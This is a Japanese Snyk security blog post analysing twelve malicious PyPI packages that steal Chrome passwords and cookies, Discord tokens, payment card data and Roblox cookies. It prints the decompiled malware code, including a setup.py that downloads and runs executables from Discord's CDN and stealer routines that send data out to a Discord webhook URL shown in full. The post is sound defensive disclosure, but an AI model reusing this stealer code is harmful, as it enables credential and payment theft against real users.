Snyk、Discord と Roblox の認証情報と支払い情報を盗み出す PyPi マルウェアを発見

著者:
Kyle Suero
Raul Onitza-Klugman
wordpress-sync/blog-hero-pypi-malware-discord

August 16, 2022

0 分で読めます

Snyk のセキュリティリサーチャーは、オープンソースのエコシステムに悪意のあるパッケージがないか常にモニタリングし、静的解析技術を利用して不審なパッケージを検出し、警告しています。悪意のあるパッケージは、パッケージマネージャーへの公開時に識別され、速やかに Snyk 脆弱性データベースに追加されます。最近の調査では同一のハッカーによる 12 種類のマルウェアが発見されています。これらの悪意のあるパッケージは、Windows マシンに侵入し、非常に人気のあるオンラインチャットアプリケーション、Discordのコンテンツ配信ネットワーク (CDN) からダウンロードされた悪意のある実行ファイルをホスト上で実行して、検出を回避しようとします。

これらのパッケージでは、PyInstaller により、悪意のあるアプリケーションと依存関係が 1 つのパッケージにバンドルされています。ここで PyInstaller を使用する目的は、依存関係をリモートサーバーからホストにダウンロードする代わりに、バンドルすることで検出されないようにすること、またインタープリターなしですぐに実行できる実行ファイルを提供することの 2 点です。

このマルウェアは、日常的なユーザーアプリケーションのために保存されているデータを標的にしています。実行する際に Google Chrome のデータ (パスワード、Cookie、ウェブ履歴、検索履歴、ブックマーク) を盗もうとします。このデータは、悪意のあるハッカーが共通して狙う標的となっています。このデータを使用して、提供された認証情報を使うと、アカウント全体を操作できるようになるからです。

人気のオンラインチャットアプリケーション、Discord も標的の 1 つです。このマルウェアは、Discord トークンを流出させ、その過程で持続的な悪意のあるエージェントを侵入させます。Discord Injector と呼ばれるこの悪性コードは、ハッカーに驚くべき量の情報を中継します。認証情報が共有されるだけでなく、インジェクターが読み込まれた後に入力したクレジットカード情報もスキミングされるのです。

このマルウェアについてもう 1 つ興味深い点として、実際に Discord のリソースを使用して実行ファイルを配布していることが挙げられます。このやり方は新しいものではないとはいえ、cdn.discord.com が当社のセキュリティリサーチャーのヒントになりました。バイナリは Discord CDN 経由でホストにプルダウンされます。

一例として、cyphers パッケージを取り上げ、その構造と動作モードを詳しく見ていきましょう。マルウェアは 2 つの実行ファイルで構成されます。

  1. ZYXMN.exe -Discord の個人情報を収集し、ブラウザーの認証情報や機密情報を流出させ、アプリ自体に Discord のマルウェアを注入する役割を担っています。

  2. ZYRBX.exe -Roblox の Cookie やユーザーデータを盗み出す役割を担っています。

パッケージ事例: cyphers

パッケージの tarball をダウンロードして展開した後、まず setup.py ファイルに異常な機能があることを確認しました (一部省略しています)。

1url = 'https://cdn.discordapp.com/attachments/1003368479442874518/1003368774335991898/ZYXMN.exe'
2url2 = 'https://cdn.discordapp.com/attachments/1003368479442874518/1003368773983682592/ZYRBX.exe'
3
4os.remove(r"C:\$Windows.~SXK\WIN-siP1VyGDrfCYO2k3.exe")
5os.remove(r"C:\$Windows.~SXK\WIN-XnWfTdfJsypQWB9d.exe")
6
7r = requests.get(url, allow_redirects=True)
8r2 = requests.get(url2, allow_redirects=True)
9open('ZYXMN.exe', 'wb').write(r.content)
10Path(r"ZYXMN.exe").rename(r"C:\$Windows.~SXK\WIN-siP1VyGDrfCYO2k3.exe")
11open('ZYRBX.exe', 'wb').write(r2.content)  
12Path(r"ZYRBX.exe").rename(r"C:\$Windows.~SXK\WIN-XnWfTdfJsypQWB9d.exe")
13os.remove('ZYRBX.exe')
14os.remove('ZYXMN.exe')
15
16os.startfile(r"C:\$Windows.~SXK\WIN-siP1VyGDrfCYO2k3.exe") os.startfile(r"C:\$Windows.~SXK\WIN-XnWfTdfJsypQWB9d.exe")
17
18shutil.rmtree(r"C:\$Windows.~SXK")

Discord の CDN サーバー から ZYXMN.exeZYRBX.exe という 2 つのバイナリをダウンロードし、任意の Windows 実行ファイルとしてマスキングし、最終的に起動しようとしていることがわかります。実行後、ファイルはファイルシステムから削除され、痕跡は消去されます。

これらの実行ファイルが何をするものなのか、確認してみましょう。

ZYXMN.exe

バイナリに対して binwalkstrings を実行した結果、PyInstaller で作成されていることがわかりました。これは、ランタイムの依存関係も含めて、python アプリケーション全体を OS に基づく単一の実行ファイルにバンドルするライブラリです。

これらのアーカイブは、extremecoders-re/pyinstxtractor を使用して抽出できます。ファイルをリストアップしたところ、ZYXMN.pyc というコンパイル済みの Python バイトコードが確認され、これがアプリケーションのエントリポイントになっていることがわかりました。rocky/python-uncompyle6 で逆コンパイルすると、悪意のあるパッケージの隠された仕組みが明らかになりました。

main()

1def main() -> None:
2    webhook = 'https://discord.com/api/webhooks/1003603061530431539/mAOhFLrtafsu1jC3G1_nRR5by1zBTtd4xxdxZPVFkOlCUqMeze6TcUQ3zbR9zVsvG5-m'
3    pingmsg = 'soulcord run da wrld'
4    greenhillzone = {'content': f"@everyone {pingmsg}"}
5    requests.post(webhook, json=greenhillzone)
6    debug()
7    threads = []
8    for operation in (
9    discord, google, injection):
10        thread = Thread(target=operation, args=(webhook,))
11        thread.start()
12        threads.append(thread)
13    else:
14        for thread in threads:
15            thread.join()
16        else:
17            system(webhook)

main 関数は、基本的に 3 つの「操作」 (スレッド) を実行し、それぞれがペイロードの異なる部分を実行することを目的としています。これらはすべて、webhook の引数を受け取り、操作結果を漏洩させます。これも Discord の URL (discord.com) で動作していることがわかります。

Google

1class google:   
2    def __init__(self, webhook: str) -> None:
3        webhook = Webhook.from_url(webhook, adapter=(RequestsWebhookAdapter()))
4        self.appdata = os.getenv('LOCALAPPDATA')
5        self.databases = {
6        self.appdata + '\\Google\\Chrome\\User Data\\Default',
7        self.appdata + '\\Google\\Chrome\\User Data\\Profile 1',
8        self.appdata + '\\Google\\Chrome\\User Data\\Profile 2',
9        self.appdata + '\\Google\\Chrome\\User Data\\Profile 3',
10        self.appdata + '\\Google\\Chrome\\User Data\\Profile 4',
11        self.appdata + '\\Google\\Chrome\\User Data\\Profile 5'}
12        self.masterkey = self.get_master_key(self.appdata + '\\Google\\Chrome\\User Data\\Local State')
13        self.files = [
14        '.\\nrozi3tvz1x7df3I-p.txt',
15        '.\\JN6Kq3DLrH6eJ8px-c.txt',
16        '.\\MVvztUI6Dyc1iHIB-wh.txt',
17        '.\\jDW68AZgMg9PUg1O-h.txt',
18        '.\\elr6GRUCz1eKhT0q-b.txt']
19        self.password()
20        self.cookies()
21        self.web_history()
22        self.search_history()
23        for file in self.files:
24            if not os.path.isfile(file):
25                pass
26            elif os.path.getsize(file) > 8000000:
27                pass
28            else:
29                webhook.send(file=(File(file)), username='Empyrean', avatar_url='https://i.imgur.com/HjzfjfR.png')
30        else:
31            for file in self.files:
32                if os.path.isfile(file):
33                    os.remove(file)

このマルウェアは、Google Chrome のマスターキーを解読し、ローカルのブラウザーデータベースにアクセスし、ユーザーの以下のプライベートデータを漏洩させようとします。

  • Cookie

  • ウェブ履歴

  • 検索履歴

インジェクション

1def __init__(self, webhook: str):
2        self.appdata = os.getenv('LOCALAPPDATA')
3        self.discord_dirs = [
4        self.appdata + '\\Discord',
5        self.appdata + '\\DiscordCanary',
6        self.appdata + '\\DiscordPTB',
7        self.appdata + '\\DiscordDevelopment']
8        self.code = "\n\t\tconst _0x25b1bd=_0x16c5;..."
9        for dir in self.discord_dirs:
10            if not os.path.exists(dir):
11                pass
12            elif self.get_core(dir) is not None:
13                with open((self.get_core(dir)[0] + '\\index.js'), 'w', encoding='utf-8') as (f):
14                    f.write(self.code.replace('discord_desktop_core-1', self.get_core(dir)[1]).replace('%WEBHOOK%', webhook))
15                    self.start_discord(dir)

このコードは、self.code プロパティに含まれる内容で discord_desktop_core ディレクトリに index.js というファイルを作成し、Discord アプリケーションを実行しようとするものです。これにより、アプリのコンテキスト内でスクリプトを実行できるようになります。

この文字列をファイルにダンプして内容を分析したところ、Rdimo/Discord-Injection リポジトリから取得したものであり、Discord ユーザーから個人情報を収集するために使用される悪意のあるスクリプトが含まれていることがわかりました。

ZYRBX.exe

このバイナリの Python ソースコードを抽出する際も、前回のバイナリと同じ手順で行いました。この悪性コードは、さまざまな種類のブラウザーで以下コードブロックを実行します。

1url = 'https://discord.com/api/webhooks/1003603061530431539/mAOhFLrtafsu1jC3G1_nRR5by1zBTtd4xxdxZPVFkOlCUqMeze6TcUQ3zbR9zVsvG5-m'
2    site = 'roblox.com'
3    if site == 'roblox.com':
4        try:
5            cookiesall = browser_cookie3.edge(domain_name=site)
6            cookiesall = str(cookiesall)
7            roblosec = cookiesall.split('.ROBLOSECURITY=')[1].split(' for .roblox.com/>')[0].strip()
8            req = requests.Session()
9            req.cookies['.ROBLOSECURITY'] = roblosec
10            user = req.get('https://www.roblox.com/mobileapi/userinfo').json()['UserName']
11            ID = req.get('https://www.roblox.com/mobileapi/userinfo').json()['UserID']
12            robux = req.get('https://www.roblox.com/mobileapi/userinfo').json()['RobuxBalance']
13            Avatar = req.get('https://www.roblox.com/mobileapi/userinfo').json()['ThumbnailUrl']
14            prem = req.get('https://www.roblox.com/mobileapi/userinfo').json()['IsPremium']
15            embed = {'title':'Cookie Found',
16            'description':f"**Cookie Source:**\n\t\t\t\t\t\t<:edge:917804139860361216> Microsoft Edge\n\n\t\t\t\t\t\t**Cookie:**\n\t\t\t\t\t\t```{roblosec}```",
17            'color':0,
18            'thumbnail':{'url': Avatar}}
19            data = {'embeds': [embed]}
20            requests.post(url, json=data)
21            embed2 = {'title':'Cookie Information',
22            'description':f"**Username:** ``{user}``\n\t\t\t\t\t\t**Robux Balance:** ``{robux}``\n\t\t\t\t\t\t**User ID:** ``{ID}``\n\t\t\t\t\t\t**Premium:** ``{prem}``\n\t\t\t\t\t\t**Profile Link:** ``https://www.roblox.com/users/{ID}/profile``",
23            'color':0,
24            'thumbnail':{'url': Avatar}}
25            data2 = {'embeds': [embed2]}
26            requests.post(url, json=data2)

このコードは、オンラインゲームプラットフォーム「Roblox」の .ROBLOSECURITY Cookie を盗み、ユーザー名、ID、Robux 残高 (Roblox 独自のゲーム内通貨)、サムネイル、プレミアムユーザーかどうかといったユーザーの詳細とともに、Discord Webhook に送信します。対象となるブラウザーは、Microsoft Edge、Google Chrome、Chromium、Firefox、Opera です。

調査のまとめ

同じハッカーによる悪意のあるパッケージは、合計 12 種類が確認されています。

パッケージ名

バージョン

説明

悪意のある実行ファイル

アップロード日時

hackerfilelol

0.0.1

これがプロハッカーモジュール gang です

\*Main.exe

2022 年 7 月 31 日 16:23

hackerfileloll

0.0.1

これがプロハッカーモジュール gang です

\*Main.exe

2022 年 7 月 31 日 16:27

stealthpy

0.0.1

gang

ZYXM.exe、ZYRBX.exe

2022 年 7 月 31 日 18:32

plutos

0.0.1

複数のスレッドを同時に効率よく管理する基本的なモジュールです。モジュールについての詳細はお問い合わせください。

ZYXM.exe、ZYRBX.exe

2022 年 7 月 31 日 21:01

testpipper

0.0.1

複数のスレッドを同時に効率よく管理する基本的なモジュールです。モジュールについての詳細はお問い合わせください。

ZYXM.exe、ZYRBX.exe

2022 年 8 月 1 日 11:27

testpipperz

0.0.1

複数のスレッドを同時に効率よく管理する基本的なモジュールです。モジュールについての詳細はお問い合わせください。

ZYXM.exe、ZYRBX.exe

2022 年 8 月 1 日 11:33

pippytest

0.0.1

複数のスレッドを同時に効率よく管理する基本的なモジュールです。モジュールについての詳細はお問い合わせください。

ZYXM.exe、ZYRBX.exe

2022 年 8 月 1 日 11:35

pippytests

0.0.1

複数のスレッドを同時に効率よく管理する基本的なモジュールです。

ZYXM.exe、ZYRBX.exe

2022 年 8 月 1 日 12:16

cyphers

0.0.1

複数のスレッドを同時に効率よく管理する基本的なモジュールです。モジュールについての詳細はお問い合わせください。

ZYXM.exe、ZYRBX.exe

2022 年 8 月 1 日 12:27

rblxtools

0.0.1

roblox の各種ツールを簡単に使用できるようにする基本モジュールで、主にリクエストライブラリをベースにしています。モジュールについての詳細はお問い合わせください。

ZYXM.exe、ZYRBX.exe

2022 年 8 月 1 日 19:14

rbxtools

0.0.1

roblox の各種ツールを簡単に使用できるようにする基本モジュールで、主にリクエストライブラリをベースにしています。モジュールについての詳細はお問い合わせください。

ZYXM.exe、ZYRBX.exe

2022 年 8 月 1 日 19:22

rbxtool

0.0.1

roblox の各種ツールを簡単に使用できるようにする基本モジュールで、主にリクエストライブラリをベースにしています。モジュールについての詳細はお問い合わせください。

\*Main.exe (ZYXMN.exe と同一)

ZYXM.exe、ZYRBX.exe

2022 年 8 月 1 日 19:26

Snyk セキュリティリサーチチームは、高度な技術を駆使して、さまざまなパッケージのエコシステムにおける不審な活動を識別できるようモニタリングしており、パッケージ発行元、コミュニティ、ユーザーにいち早く通知するよう最善を尽くしています。また、オープンソースソフトウェアやテクノロジーのセキュリティを可能な限り高めることができると考えています。

今すぐ Snyk の無料アカウントを取得して、最先端の調査結果を活用しましょう。業界最先端のセキュリティインテリジェンスを提供する Snyk は、オープンソースの依存関係、プロプライエタリコード、ベースイメージ、クラウドインフラの脆弱性を検出し、実行可能な対策アドバイス (ワンクリックの修正 PR を含む) を提供することで、セキュリティを確保しつつ、スピーディーな開発を可能にしています。

Patch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo SegmentPatch Logo Segment

Snyk (スニーク) は、デベロッパーセキュリティプラットフォームです。Snyk は、コードやオープンソースとその依存関係、コンテナや IaC (Infrastructure as a Code) における脆弱性を見つけるだけでなく、優先順位をつけて修正するためのツールです。世界最高峰の脆弱性データベースを基盤に、Snyk の脆弱性に関する専門家としての知見が提供されます。

無料で始める資料請求